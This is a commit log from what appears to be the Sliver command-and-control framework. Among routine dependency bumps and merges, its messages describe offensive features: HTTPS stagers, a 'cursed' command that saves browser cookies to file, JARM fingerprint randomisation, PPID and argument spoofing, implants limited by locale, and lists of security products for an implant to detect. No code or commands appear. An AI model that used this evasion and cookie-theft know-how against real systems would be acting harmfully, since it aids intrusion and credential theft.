Compare commits

..
Author SHA1 Message Date
rkervella 2fe9b56dc5 Add support for HTTPS stagers 2022-09-28 07:36:27 -07:00
Ronan Kervella 35907fa929 Merge pull request #916 from BishopFox/go/v1.19
Go/v1.19
2022-09-26 20:04:50 -07:00
moloch-- 608de5213a Update wg GOGARBLE mask 2022-09-26 18:40:29 -07:00
moloch-- b4b9d8d413 Update wg GOGARBLE mask 2022-09-26 18:31:46 -07:00
moloch-- 9dfde9d5c9 Update implant vendor/ 2022-09-26 18:00:10 -07:00
moloch-- f6d6e9e55e Unit tests pass 2022-09-26 17:50:00 -07:00
moloch-- 0fd10d0c59 go mod tidy/vendor 2022-09-26 16:25:27 -07:00
moloch-- 35a7562980 Merge master 2022-09-26 16:24:34 -07:00
Joe 212f70d755 Merge pull request #911 from BishopFox/a13cdependabot/go_modules/github.com/onsi/gomega-1.20.2
Bump github.com/onsi/gomega from 1.10.0 to 1.20.2
2022-09-26 12:56:39 -05:00
dependabot[bot] 5a2f4f4553 Bump github.com/onsi/gomega from 1.10.0 to 1.20.2
Bumps [github.com/onsi/gomega](https://github.com/onsi/gomega) from 1.10.0 to 1.20.2.
- [Release notes](https://github.com/onsi/gomega/releases)
- [Changelog](https://github.com/onsi/gomega/blob/master/CHANGELOG.md)
- [Commits](https://github.com/onsi/gomega/compare/v1.10.0...v1.20.2)

---
updated-dependencies:
- dependency-name: github.com/onsi/gomega
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-26 15:24:55 +00:00
Joe cece2f2e01 Merge pull request #912 from BishopFox/d214dependabot/go_modules/github.com/onsi/ginkgo-1.16.5
Bump github.com/onsi/ginkgo from 1.12.1 to 1.16.5
2022-09-26 10:22:36 -05:00
Joe f219d03453 Merge pull request #913 from BishopFox/72addependabot/go_modules/gorm.io/driver/postgres-1.3.10
Bump gorm.io/driver/postgres from 1.3.9 to 1.3.10
2022-09-26 10:20:38 -05:00
Joe 22e67f8390 Merge pull request #910 from BishopFox/86bedependabot/go_modules/google.golang.org/protobuf-1.28.1
Bump google.golang.org/protobuf from 1.27.1 to 1.28.1
2022-09-26 10:20:18 -05:00
Joe 42299991db Merge pull request #909 from BishopFox/cursed
Cursed
2022-09-26 10:07:04 -05:00
dependabot[bot] c1995c6081 Bump gorm.io/driver/postgres from 1.3.9 to 1.3.10
Bumps [gorm.io/driver/postgres](https://github.com/go-gorm/postgres) from 1.3.9 to 1.3.10.
- [Release notes](https://github.com/go-gorm/postgres/releases)
- [Commits](https://github.com/go-gorm/postgres/compare/v1.3.9...v1.3.10)

---
updated-dependencies:
- dependency-name: gorm.io/driver/postgres
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-26 03:46:24 +00:00
dependabot[bot] 352df3c52b Bump github.com/onsi/ginkgo from 1.12.1 to 1.16.5
Bumps [github.com/onsi/ginkgo](https://github.com/onsi/ginkgo) from 1.12.1 to 1.16.5.
- [Release notes](https://github.com/onsi/ginkgo/releases)
- [Changelog](https://github.com/onsi/ginkgo/blob/master/CHANGELOG.md)
- [Commits](https://github.com/onsi/ginkgo/compare/v1.12.1...v1.16.5)

---
updated-dependencies:
- dependency-name: github.com/onsi/ginkgo
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-26 03:46:18 +00:00
dependabot[bot] 0daff15f72 Bump google.golang.org/protobuf from 1.27.1 to 1.28.1
Bumps [google.golang.org/protobuf](https://github.com/protocolbuffers/protobuf-go) from 1.27.1 to 1.28.1.
- [Release notes](https://github.com/protocolbuffers/protobuf-go/releases)
- [Changelog](https://github.com/protocolbuffers/protobuf-go/blob/master/release.bash)
- [Commits](https://github.com/protocolbuffers/protobuf-go/compare/v1.27.1...v1.28.1)

---
updated-dependencies:
- dependency-name: google.golang.org/protobuf
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-26 03:24:06 +00:00
moloch-- 46e58403dc add :file option to cursed console 2022-09-25 20:07:32 -07:00
moloch-- 70ba98aef4 hook console.log by default 2022-09-25 19:35:52 -07:00
Joe bc035d4003 Merge pull request #908 from jamesgol/wg_keyevent
Add new event WireGuardNewPeer to get peer configured immediately
2022-09-25 20:41:42 -05:00
moloch-- 31aaeeeab1 Save cookies to file 2022-09-25 18:22:29 -07:00
moloch-- d0826e63bc Added cursed cookies cmd 2022-09-25 17:51:07 -07:00
Joe ec8e26d2da Merge pull request #907 from jamesgol/beacon-host
Register new hosts when beacons are received and not just sessions
2022-09-25 17:36:59 -05:00
moloch-- 78213312c6 Merge branch 'master' into cursed 2022-09-25 11:07:15 -07:00
James Golovich c280489f49 Add \n to string
Worked without but looks more complete with it there
2022-09-23 21:02:12 -07:00
James Golovich 49faa6e6e4 Add new event WireGuardNewPeer to get peer configured immediately
Eliminates the 5 second delay on Wireguard connections
2022-09-23 20:57:22 -07:00
James Golovich 79b60eb321 Register new hosts when beacons are received and not just sessions 2022-09-23 16:27:06 -07:00
Joe 160486c55f Merge pull request #905 from jamesgol/limit-locale
Add ability to limit implant based on locale
2022-09-23 12:24:04 -05:00
Joe 556ebd86a6 Merge pull request #903 from jamesgol/reconfig-update
Make reconfig command to save to DB
2022-09-23 11:40:58 -05:00
Joe b86383a83d Merge pull request #904 from jamesgol/rportfwd-fix
Stop segfaults with rportfwd
2022-09-23 11:40:45 -05:00
James Golovich 7aa03f6845 Update compiled client.pb.go 2022-09-22 17:07:06 -07:00
James Golovich 3f6c38f3c7 Add LimitLocale to client.proto 2022-09-22 17:06:52 -07:00
James Golovich 86ec7248b6 Add ability to limit implant based on locale with regexp
Examples:
an exact match: en-US
substring: en
one of multiple: en-US|en-AU|en-UK
2022-09-22 17:04:07 -07:00
Joe aac39d72b6 Merge pull request #900 from jamesgol/info-fix
Allow info command to work with active sessions again
2022-09-22 16:31:13 -05:00
James Golovich f08b8e4dfe Stop segfault on server if tunnel cannot connect 2022-09-22 11:55:46 -07:00
James Golovich 4acbb6a5bb Stop segfault on implant if remote port is unavailable
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x9eaee9]

goroutine 26 [running]:
github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).HandleConn.func1({0xb42100, 0xc00007b2c0})
	/home/james/.sliver/slivers/linux/amd64/SENSITIVE_CRASH/src/github.com/bishopfox/sliver/implant/sliver/rportfwd/portfwd.go:168 +0x1c9
github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).HandleConn.func2()
	/home/james/.sliver/slivers/linux/amd64/SENSITIVE_CRASH/src/github.com/bishopfox/sliver/implant/sliver/rportfwd/portfwd.go:189 +0x2bd
created by github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).HandleConn
	/home/james/.sliver/slivers/linux/amd64/SENSITIVE_CRASH/src/github.com/bishopfox/sliver/implant/sliver/rportfwd/portfwd.go:173 +0x54c
2022-09-22 11:42:26 -07:00
James Golovich 1caf9d2a1f Remove -n from reconfig command, that is handled by rename 2022-09-22 11:07:15 -07:00
James Golovich c69f68c24c Save reconfig data to DB 2022-09-22 11:07:15 -07:00
Joe df668bba84 Merge pull request #901 from BishopFox/aa1ddependabot/bundler/docs/commonmarker-0.23.6
Bump commonmarker from 0.23.4 to 0.23.6 in /docs
2022-09-22 11:00:17 -05:00
dependabot[bot] 1b0c52488b Bump commonmarker from 0.23.4 to 0.23.6 in /docs
Bumps [commonmarker](https://github.com/gjtorikian/commonmarker) from 0.23.4 to 0.23.6.
- [Release notes](https://github.com/gjtorikian/commonmarker/releases)
- [Changelog](https://github.com/gjtorikian/commonmarker/blob/main/CHANGELOG.md)
- [Commits](https://github.com/gjtorikian/commonmarker/compare/v0.23.4...v0.23.6)

---
updated-dependencies:
- dependency-name: commonmarker
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-22 02:09:09 +00:00
James Golovich 3cb1fe6473 Allow info command to work with active sessions again 2022-09-21 16:32:59 -07:00
Joe 73b6e5311f Merge pull request #898 from BishopFox/fix/rc4
Tweak ciphers, fix issue #896
2022-09-21 15:13:54 -05:00
Joe ef17dcca05 Merge pull request #895 from jamesgol/client-info
Add details to client info
2022-09-21 15:12:51 -05:00
moloch-- 0f53c7ca11 Tweak ciphers, fix issue #896 2022-09-21 09:13:40 -07:00
James Golovich 0b2e1c94e5 Add Last Checkin to info command 2022-09-20 22:13:11 -07:00
James Golovich a6791cc14e Update compiled protobufs 2022-09-20 21:56:01 -07:00
James Golovich 3cd1222552 Add FirstContact to ProtoBufs 2022-09-20 21:54:51 -07:00
James Golovich 2dc6c74c89 Add FirstContact to hosts/beacons/sessions info 2022-09-20 21:53:49 -07:00
James Golovich 905234714c Use 'use' Completor for 'info' command 2022-09-20 21:43:17 -07:00
James Golovich 3b39100b06 Add new SliverConsoleClient function FormateDateDelta
Refactored code from client/commands/beacons/beacons.go so it can be used elsewhere.
2022-09-20 18:26:49 -07:00
Joe 11949202b5 Merge pull request #893 from jamesgol/wireshark-sessions
Save implant Wireguard session keys
2022-09-20 19:29:40 -05:00
James Golovich d41833c490 Allow Wireguard implant to retrieve new keys after 3 connect failures 2022-09-20 12:23:39 -07:00
Joe 6c21d34963 Merge pull request #890 from BishopFox/fix/help
Fix help
2022-09-20 09:27:31 -05:00
Joe f68da6cf5c Merge pull request #891 from BishopFox/jarmy
Optionally randomize server JARM fingerprint
2022-09-20 09:27:11 -05:00
moloch-- 6b876d5b0b Fix typo 2022-09-19 23:00:48 -07:00
James Golovich a6d4e4fec2 Save implant Wireguard session keys
If the Wireguard implant is setup as a beacon it will connect using the implant private key at every beacon interval
and request a new key.  It's like in The Highlander, there can be only one... session for each private key.  If someone
had a large number of wg beacons connecting there's potential for multiples to be trying at one time.
2022-09-19 22:05:43 -07:00
moloch-- b6a49923d0 Remove rc4 ciphers, bump min n 2022-09-19 20:04:56 -07:00
moloch-- 9a450d9b5f Fix max n for min tls 2022-09-19 19:56:57 -07:00
moloch-- a0c0657bf3 Add comments 2022-09-19 19:45:05 -07:00
moloch-- d37de4f340 always select at least 4 ciphers 2022-09-19 19:37:18 -07:00
moloch-- 15b7059a87 always select at least 4 ciphers 2022-09-19 19:36:52 -07:00
moloch-- 620bdd71c5 Always use min tls 1.2 or lower to ensure compatibility 2022-09-19 19:35:47 -07:00
Joe 9c109bd236 Merge branch 'master' into jarmy
Signed-off-by: Joe <[email protected]>
2022-09-19 21:31:45 -05:00
moloch-- afd0b08c2f Optionally randomize server JARM fingerprint 2022-09-19 19:28:33 -07:00
moloch-- 8c144e3f66 Fix help 2022-09-19 18:23:52 -07:00
Ronan Kervella e5ca995419 Merge pull request #872 from jamesgol/tls-key-logger
Add option to log TLS info so packets can be decoded with wireshark
2022-09-19 13:03:11 -07:00
Ronan Kervella 5a1f192258 Merge pull request #889 from BishopFox/feature/msf-stagers
Reworked staging
2022-09-19 13:02:35 -07:00
rkervella 94a55f0150 Remove comments 2022-09-19 11:44:30 -07:00
rkervella 653f3c7e7c Reworked staging 2022-09-19 11:39:52 -07:00
Joe d9f4536e3f Merge pull request #888 from BishopFox/0777dependabot/go_modules/github.com/grpc-ecosystem/go-grpc-middleware-1.3.0
Bump github.com/grpc-ecosystem/go-grpc-middleware from 1.2.2 to 1.3.0
2022-09-19 12:50:57 -05:00
Joe dd05d24fb1 Merge pull request #886 from BishopFox/6ae4dependabot/go_modules/github.com/shirou/gopsutil/v3-3.22.8
Bump github.com/shirou/gopsutil/v3 from 3.21.10 to 3.22.8
2022-09-19 12:50:13 -05:00
dependabot[bot] c3df9ac47e Bump github.com/shirou/gopsutil/v3 from 3.21.10 to 3.22.8
Bumps [github.com/shirou/gopsutil/v3](https://github.com/shirou/gopsutil) from 3.21.10 to 3.22.8.
- [Release notes](https://github.com/shirou/gopsutil/releases)
- [Commits](https://github.com/shirou/gopsutil/compare/v3.21.10...v3.22.8)

---
updated-dependencies:
- dependency-name: github.com/shirou/gopsutil/v3
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-19 15:55:34 +00:00
dependabot[bot] d011b57e31 Bump github.com/grpc-ecosystem/go-grpc-middleware from 1.2.2 to 1.3.0
Bumps [github.com/grpc-ecosystem/go-grpc-middleware](https://github.com/grpc-ecosystem/go-grpc-middleware) from 1.2.2 to 1.3.0.
- [Release notes](https://github.com/grpc-ecosystem/go-grpc-middleware/releases)
- [Changelog](https://github.com/grpc-ecosystem/go-grpc-middleware/blob/master/CHANGELOG.md)
- [Commits](https://github.com/grpc-ecosystem/go-grpc-middleware/compare/v1.2.2...v1.3.0)

---
updated-dependencies:
- dependency-name: github.com/grpc-ecosystem/go-grpc-middleware
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-19 15:55:05 +00:00
Joe 8db2be4e9f Merge pull request #887 from BishopFox/120edependabot/go_modules/gorm.io/gorm-1.23.9
Bump gorm.io/gorm from 1.23.8 to 1.23.9
2022-09-19 10:54:00 -05:00
Joe 1b8411d097 Merge pull request #885 from BishopFox/c6addependabot/go_modules/github.com/jedib0t/go-pretty/v6-6.3.8
Bump github.com/jedib0t/go-pretty/v6 from 6.2.4 to 6.3.8
2022-09-19 10:53:27 -05:00
Ronan Kervella 67094dec1c Merge pull request #884 from BishopFox/external-builder
External builder
2022-09-19 08:33:46 -07:00
Ronan Kervella 265a1fa33e Merge pull request #869 from BishopFox/obfs
Tweaks to Implant
2022-09-19 08:32:58 -07:00
James Golovich 85e6121685 Print console message when TLS key logging enabled 2022-09-18 22:20:55 -07:00
dependabot[bot] 071a0cb574 Bump gorm.io/gorm from 1.23.8 to 1.23.9
Bumps [gorm.io/gorm](https://github.com/go-gorm/gorm) from 1.23.8 to 1.23.9.
- [Release notes](https://github.com/go-gorm/gorm/releases)
- [Commits](https://github.com/go-gorm/gorm/compare/v1.23.8...v1.23.9)

---
updated-dependencies:
- dependency-name: gorm.io/gorm
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-19 03:58:38 +00:00
dependabot[bot] d469d33e7f Bump github.com/jedib0t/go-pretty/v6 from 6.2.4 to 6.3.8
Bumps [github.com/jedib0t/go-pretty/v6](https://github.com/jedib0t/go-pretty) from 6.2.4 to 6.3.8.
- [Release notes](https://github.com/jedib0t/go-pretty/releases)
- [Commits](https://github.com/jedib0t/go-pretty/compare/v6.2.4...v6.3.8)

---
updated-dependencies:
- dependency-name: github.com/jedib0t/go-pretty/v6
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-19 03:35:21 +00:00
moloch-- b013d555a4 Add events api 2022-09-18 18:56:11 -07:00
moloch-- bdf0c7b3f6 Improved comments 2022-09-18 18:30:04 -07:00
moloch-- f042dee7e9 Improved err handling 2022-09-18 18:28:10 -07:00
moloch-- e0b756a5b6 Implement the rest of the external build api 2022-09-18 18:22:24 -07:00
moloch-- f12a60541f Outline external build api 2022-09-18 13:24:01 -07:00
Joe 3c90e4b7e0 Merge pull request #883 from MrAle98/feature/manage-rportfwd
Add reverse port forwardings management
2022-09-18 11:15:47 -05:00
MrAle98 c894e623ca start/stop commands renamed to add/rm 2022-09-17 19:45:39 +02:00
MrAle98 03a6f5f0b6 minor fix 2022-09-17 15:16:19 +02:00
MrAle98 7b3739b87c rportfwd error handling 2022-09-17 14:45:21 +02:00
MrAle98 8a5855fa53 fix rportfwd handlers map 2022-09-17 12:21:29 +02:00
MrAle98 fa11691efb client minor fix 2022-09-17 12:14:36 +02:00
MrAle98 5628197789 renamed add/rm operations to start/stop. stop returns more information 2022-09-17 12:09:18 +02:00
Joe dfba1eeb65 Merge pull request #881 from jamesgol/http-time-warp
Track HTTP time difference in case the implant clock is wrong
2022-09-16 20:44:43 -05:00
Joe 181163d65b Merge pull request #877 from BishopFox/feature/rportfwd
Feature/rportfwd
2022-09-16 20:01:50 -05:00
James Golovich f8db5d4607 Track HTTP time difference in case the implant clock is wrong 2022-09-16 16:12:48 -07:00
Chris Smith e1516ff6c0 Update sessions.go
Signed-off-by: Chris Smith <[email protected]>
2022-09-16 12:43:12 -07:00
Chris Smith 82e58c74f7 Update sessions.go
Signed-off-by: Chris Smith <[email protected]>
2022-09-16 12:42:22 -07:00
Joe 91a3b36ab4 Merge pull request #878 from jamesgol/wg_persist
Ensure Wireguard keyPort persists
2022-09-16 12:33:07 -05:00
moloch-- 62748edc97 Align rportfwd and portfwd bind parsing 2022-09-15 15:44:20 -07:00
moloch-- 5baf9d3b3b Improved rportfwd ux 2022-09-15 15:40:17 -07:00
James Golovich 5332d0c76f Ensure Wireguard keyPort persists 2022-09-15 15:21:33 -07:00
moloch-- 7a9f216d9c Only include log code when debug mode is enabled 2022-09-15 14:00:36 -07:00
moloch-- 754b9f6af6 Merge master 2022-09-15 13:13:38 -07:00
moloch-- 0c601bdc4b Tweak rportfwd implementation 2022-09-15 13:09:50 -07:00
Joe 3a06595517 Merge pull request #856 from jamesgol/implant-locale
Add locale to beacons/sessions on implants
2022-09-15 11:11:25 -05:00
Joe a91b5a8721 Merge pull request #874 from jamesgol/wg-debug
Change log entries to Debug for WireGuard config
2022-09-15 11:06:37 -05:00
Joe c1ac4ddfea Merge pull request #875 from jamesgol/fix-wg-beacon-win
Sleep before shutting down beacon instead of after
2022-09-15 11:06:21 -05:00
MrAle98 b03657462b minor fix 2022-09-15 16:46:36 +02:00
MrAle98 8bc85b25aa added reverse port forwarding 2022-09-15 11:02:34 +02:00
James Golovich 18f8a8c23f Delay closing to all coroutines to complete
Wireguard beacons could connect, but results of commands weren't making it back.

This is a bit hacky.  It works, but it would be better if there was a way to wait till everything has been transmitted.
2022-09-14 21:44:57 -07:00
James Golovich 4748f61480 Sleep before shutting down beacon instead of after
When using a windows implant + wireguard it looks like the beacon registration message is never recieved by the server because the session is closed too quickly.

Fixes #670
2022-09-14 18:54:08 -07:00
James Golovich f7a4aacf5f Change log entries to Debug
With a lot of WireGuard beacons coming in these logs get excessive
2022-09-14 16:26:29 -07:00
James Golovich 68d624fe17 Add option for TLS key logging to implant when in debug mode 2022-09-14 14:29:20 -07:00
James Golovich acc4e39cbb Switch to using SSLKEYLOGFILE env var instead of config var 2022-09-14 14:04:49 -07:00
James Golovich a2673f74c9 Add option to log TLS info so packets can be decoded with wireshark 2022-09-14 12:59:35 -07:00
James Golovich da45b2da82 Remove processor constraints for build 2022-09-14 09:00:25 -07:00
moloch-- f6281bdcd7 Added keep-alive, headless, and additional args 2022-09-14 08:59:33 -06:00
James Golovich 097866d0a2 Include github.com/cubiest/jibberjabber files 2022-09-13 16:34:27 -07:00
James Golovich 11959d5911 Separate generic and os specific locale functions 2022-09-13 16:33:27 -07:00
Joe 70b06673fd Merge pull request #867 from jamesgol/implant-vendor-script
Trap failed build when running 'go generate' on the implant
2022-09-13 11:07:20 -05:00
Joe 84a95aea2a Merge pull request #866 from jamesgol/debug-no-canaries
Stop excessive build logging if there are no canaries
2022-09-13 11:07:08 -05:00
moloch-- ba3ec022bb Add lic 2022-09-13 08:31:11 -06:00
moloch-- 394ba431b2 Add lic 2022-09-13 08:28:52 -06:00
moloch-- cda6aeaee6 Remove un-needed pointers 2022-09-13 08:25:37 -06:00
James Golovich 100b26afd0 Trap failed build when running 'go generate' on the implant
I had an error that caused the build to fail which left the environment without a vendor directory
2022-09-12 21:31:25 -07:00
moloch-- 187f9e99ac Refactor c2 url handling 2022-09-12 20:40:39 -06:00
James Golovich 4917c313b6 Stop excessive build logging if there are no canaries 2022-09-12 19:36:50 -07:00
Joe 1f6abf9be3 Merge pull request #863 from BishopFox/a7aadependabot/go_modules/github.com/sirupsen/logrus-1.9.0
Bump github.com/sirupsen/logrus from 1.8.1 to 1.9.0
2022-09-12 14:54:13 -05:00
Joe 25a22054b7 Merge branch 'master' into a7aadependabot/go_modules/github.com/sirupsen/logrus-1.9.0
Signed-off-by: Joe <[email protected]>
2022-09-12 11:02:42 -05:00
Joe 64c5460545 Merge pull request #862 from BishopFox/c6cfdependabot/go_modules/github.com/AlecAivazis/survey/v2-2.3.6
Bump github.com/AlecAivazis/survey/v2 from 2.2.2 to 2.3.6
2022-09-12 11:01:44 -05:00
dependabot[bot] 76fb9dfc93 Bump github.com/AlecAivazis/survey/v2 from 2.2.2 to 2.3.6
Bumps [github.com/AlecAivazis/survey/v2](https://github.com/AlecAivazis/survey) from 2.2.2 to 2.3.6.
- [Release notes](https://github.com/AlecAivazis/survey/releases)
- [Commits](https://github.com/AlecAivazis/survey/compare/v2.2.2...v2.3.6)

---
updated-dependencies:
- dependency-name: github.com/AlecAivazis/survey/v2
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 15:16:37 +00:00
Joe ccd3ed2250 Merge pull request #861 from BishopFox/2e20dependabot/go_modules/github.com/spf13/cobra-1.5.0
Bump github.com/spf13/cobra from 1.1.1 to 1.5.0
2022-09-12 10:14:30 -05:00
Joe fb5c6c0c88 Merge branch 'master' into a7aadependabot/go_modules/github.com/sirupsen/logrus-1.9.0
Signed-off-by: Joe <[email protected]>
2022-09-12 10:13:57 -05:00
Joe 11878069f6 Merge pull request #864 from BishopFox/2a7fdependabot/go_modules/github.com/cheggaaa/pb/v3-3.1.0
Bump github.com/cheggaaa/pb/v3 from 3.0.5 to 3.1.0
2022-09-12 10:12:50 -05:00
Joe 3db3930091 Merge pull request #865 from BishopFox/024fdependabot/go_modules/github.com/gofrs/uuid-4.3.0incompatible
Bump github.com/gofrs/uuid from 4.0.0+incompatible to 4.3.0+incompatible
2022-09-12 10:12:05 -05:00
dependabot[bot] 9e6412c911 Bump github.com/gofrs/uuid from 4.0.0+incompatible to 4.3.0+incompatible
Bumps [github.com/gofrs/uuid](https://github.com/gofrs/uuid) from 4.0.0+incompatible to 4.3.0+incompatible.
- [Release notes](https://github.com/gofrs/uuid/releases)
- [Commits](https://github.com/gofrs/uuid/compare/v4.0.0...v4.3.0)

---
updated-dependencies:
- dependency-name: github.com/gofrs/uuid
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 03:21:06 +00:00
dependabot[bot] ade96fa281 Bump github.com/cheggaaa/pb/v3 from 3.0.5 to 3.1.0
Bumps [github.com/cheggaaa/pb/v3](https://github.com/cheggaaa/pb) from 3.0.5 to 3.1.0.
- [Release notes](https://github.com/cheggaaa/pb/releases)
- [Commits](https://github.com/cheggaaa/pb/compare/v3.0.5...v3.1.0)

---
updated-dependencies:
- dependency-name: github.com/cheggaaa/pb/v3
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 03:21:00 +00:00
dependabot[bot] 3035d75882 Bump github.com/sirupsen/logrus from 1.8.1 to 1.9.0
Bumps [github.com/sirupsen/logrus](https://github.com/sirupsen/logrus) from 1.8.1 to 1.9.0.
- [Release notes](https://github.com/sirupsen/logrus/releases)
- [Changelog](https://github.com/sirupsen/logrus/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sirupsen/logrus/compare/v1.8.1...v1.9.0)

---
updated-dependencies:
- dependency-name: github.com/sirupsen/logrus
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 03:20:53 +00:00
dependabot[bot] 4ed95375e0 Bump github.com/spf13/cobra from 1.1.1 to 1.5.0
Bumps [github.com/spf13/cobra](https://github.com/spf13/cobra) from 1.1.1 to 1.5.0.
- [Release notes](https://github.com/spf13/cobra/releases)
- [Commits](https://github.com/spf13/cobra/compare/v1.1.1...v1.5.0)

---
updated-dependencies:
- dependency-name: github.com/spf13/cobra
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 03:20:38 +00:00
Ronan Kervella 9ee10c5321 Merge pull request #860 from BishopFox/cleanup
Random cleanups and improvements
2022-09-09 14:41:54 -07:00
moloch-- 3cc7be8a9f Random cleanups and improvements 2022-09-09 11:02:04 -07:00
Joe d411d2400c Merge pull request #859 from BishopFox/fix/certs
Fix low entropy x509 subjects
2022-09-08 20:20:44 -05:00
moloch-- e31cafa81d Fix low entropy x509 subjects 2022-09-08 17:37:02 -07:00
Ronan Kervella 80677e652b Merge pull request #857 from cmprmsd/patch-1
Add sysmon + sysmon64
2022-09-08 07:32:01 -07:00
cmprmsd 88abea26a7 Add sysmon + sysmon64
As Sysmon is more commonly used for logging I assume we should flag it also as known security tool.

Signed-off-by: cmprmsd <[email protected]>
2022-09-08 10:46:53 +02:00
James Golovich 18871a8521 Add generated protobuf code 2022-09-07 23:45:53 -07:00
James Golovich ca3377799b Add Locale to protobuf definitions 2022-09-07 23:45:09 -07:00
James Golovich be477918d2 Add locale to implants Sessions and Beacons 2022-09-07 23:44:18 -07:00
Joe 120d537044 Merge pull request #855 from faisalfs10x/faisalfs10x-patch-1
Add trend micro processes
2022-09-07 19:12:07 -05:00
Faisal Fs 59781d4328 Update ps.go
Signed-off-by: Faisal Fs <[email protected]>
2022-09-08 06:36:05 +08:00
Ronan Kervella f117995aa1 Merge pull request #854 from r00t0v3rr1d3/add-cylance-tanium-senone
Add additional known security tools
2022-09-07 15:16:39 -07:00
Faisal Fs e4793cf616 Add trend micro processes
Add known Trend Micro processes
reference: https://success.trendmicro.com/dcx/s/solution/1122160-monitoring-deep-security-services?language=en_US&sfdcIFrameOrigin=null

Signed-off-by: Faisal Fs <[email protected]>
2022-09-08 06:08:43 +08:00
Chris Shields b68f4bffd3 Add additional known security tools
Few more SentinelOne processes. Cylance and Tanium processes.
2022-09-07 17:00:33 -04:00
Joe 22fea029ec Merge pull request #853 from BishopFox/audit-log
Improvements to the audit log
2022-09-07 14:25:51 -05:00
rkervella 8ceaff528b Update garble 2022-09-07 11:04:36 -07:00
moloch-- b1db1ab614 improvements to the audit log 2022-09-07 10:20:10 -07:00
Joe 40b99e860f Merge pull request #851 from jamesgol/loot_file
Catch error on 'loot remote' if file doesn't exist
2022-09-07 10:06:40 -05:00
James Golovich 56d143b018 Catch error on 'loot remote' if file doesn't exist 2022-09-06 23:02:20 -07:00
Ronan Kervella 327f7c6826 Merge pull request #850 from jamesgol/websites-strip
Strip query parameters from URLs for incoming HTTP(s) websites
2022-09-06 17:26:04 -07:00
James Golovich eb9506510e Handle err condition 2022-09-06 16:19:03 -07:00
James Golovich 9c5aa26af9 Strip query parameters from URLs for incoming HTTP(s) websites 2022-09-06 16:05:26 -07:00
rkervella a5b4e5310f Update garble 2022-09-06 15:48:17 -07:00
Ronan Kervella f2b78748de Merge pull request #849 from BishopFox/update/gorm
Update/gorm
2022-09-06 13:35:18 -07:00
moloch-- 891bb49f1a Make TAGS overridable in Makefile 2022-09-06 12:39:12 -07:00
moloch-- 82d1728360 Updated gorm and db drivers 2022-09-06 12:36:02 -07:00
moloch-- 01b6a3c657 Updated gorm and db drivers 2022-09-06 12:35:49 -07:00
rkervella 3b3987d19f Update supported minor version 2022-09-06 12:23:26 -07:00
rkervella 6072affe38 Update to go1.19.1 2022-09-06 12:20:21 -07:00
rkervella 555e1d1123 Update Dockerfile and assets 2022-09-06 12:17:10 -07:00
rkervella e7524d28d0 Implant vendor 2022-09-06 12:09:48 -07:00
rkervella 68515f0873 Update vendor 2022-09-06 12:09:28 -07:00
rkervella 8b55dca890 go1.19 2022-09-06 12:09:19 -07:00
Ronan Kervella 312f133f1e Merge pull request #847 from BishopFox/go/v1.18.6
Go v1.18.6
2022-09-06 11:02:47 -07:00
Ronan Kervella a141e1f689 Merge pull request #848 from BishopFox/fix/execute-assembly-ppid
Fix `execute-assembly`, add PPID and arg spoofing to `sideload`
2022-09-06 11:02:36 -07:00
Joe a9a16aaa39 Merge pull request #842 from BishopFox/bf79dependabot/go_modules/github.com/alecthomas/chroma-0.10.0
Bump github.com/alecthomas/chroma from 0.8.1 to 0.10.0
2022-09-06 13:02:21 -05:00
Joe 2c944db7ed Merge pull request #841 from BishopFox/2447dependabot/github_actions/actions/download-artifact-3
Bump actions/download-artifact from 2 to 3
2022-09-06 13:01:50 -05:00
Joe b93f939ec5 Merge pull request #840 from BishopFox/ce34dependabot/github_actions/actions/upload-artifact-3
Bump actions/upload-artifact from 2 to 3
2022-09-06 13:01:34 -05:00
Joe ba07826d83 Merge pull request #839 from BishopFox/2451dependabot/github_actions/github/codeql-action-2
Bump github/codeql-action from 1 to 2
2022-09-06 13:01:19 -05:00
Joe 09fb3e0095 Merge pull request #838 from BishopFox/3694dependabot/github_actions/actions/setup-go-3
Bump actions/setup-go from 2 to 3
2022-09-06 13:01:03 -05:00
Joe be9c34e1ef Merge pull request #837 from BishopFox/a8fedependabot/github_actions/actions/checkout-3
Bump actions/checkout from 2 to 3
2022-09-06 13:00:47 -05:00
Joe d5945898b3 Merge pull request #844 from BishopFox/8995dependabot/go_modules/github.com/miekg/dns-1.1.50
Bump github.com/miekg/dns from 1.1.35 to 1.1.50
2022-09-06 13:00:24 -05:00
rkervella 7d8457d494 Use proper type for PPID flag, add ppid + process args to sideload 2022-09-06 10:20:01 -07:00
dependabot[bot] 330ceea52f Bump github.com/alecthomas/chroma from 0.8.1 to 0.10.0
Bumps [github.com/alecthomas/chroma](https://github.com/alecthomas/chroma) from 0.8.1 to 0.10.0.
- [Release notes](https://github.com/alecthomas/chroma/releases)
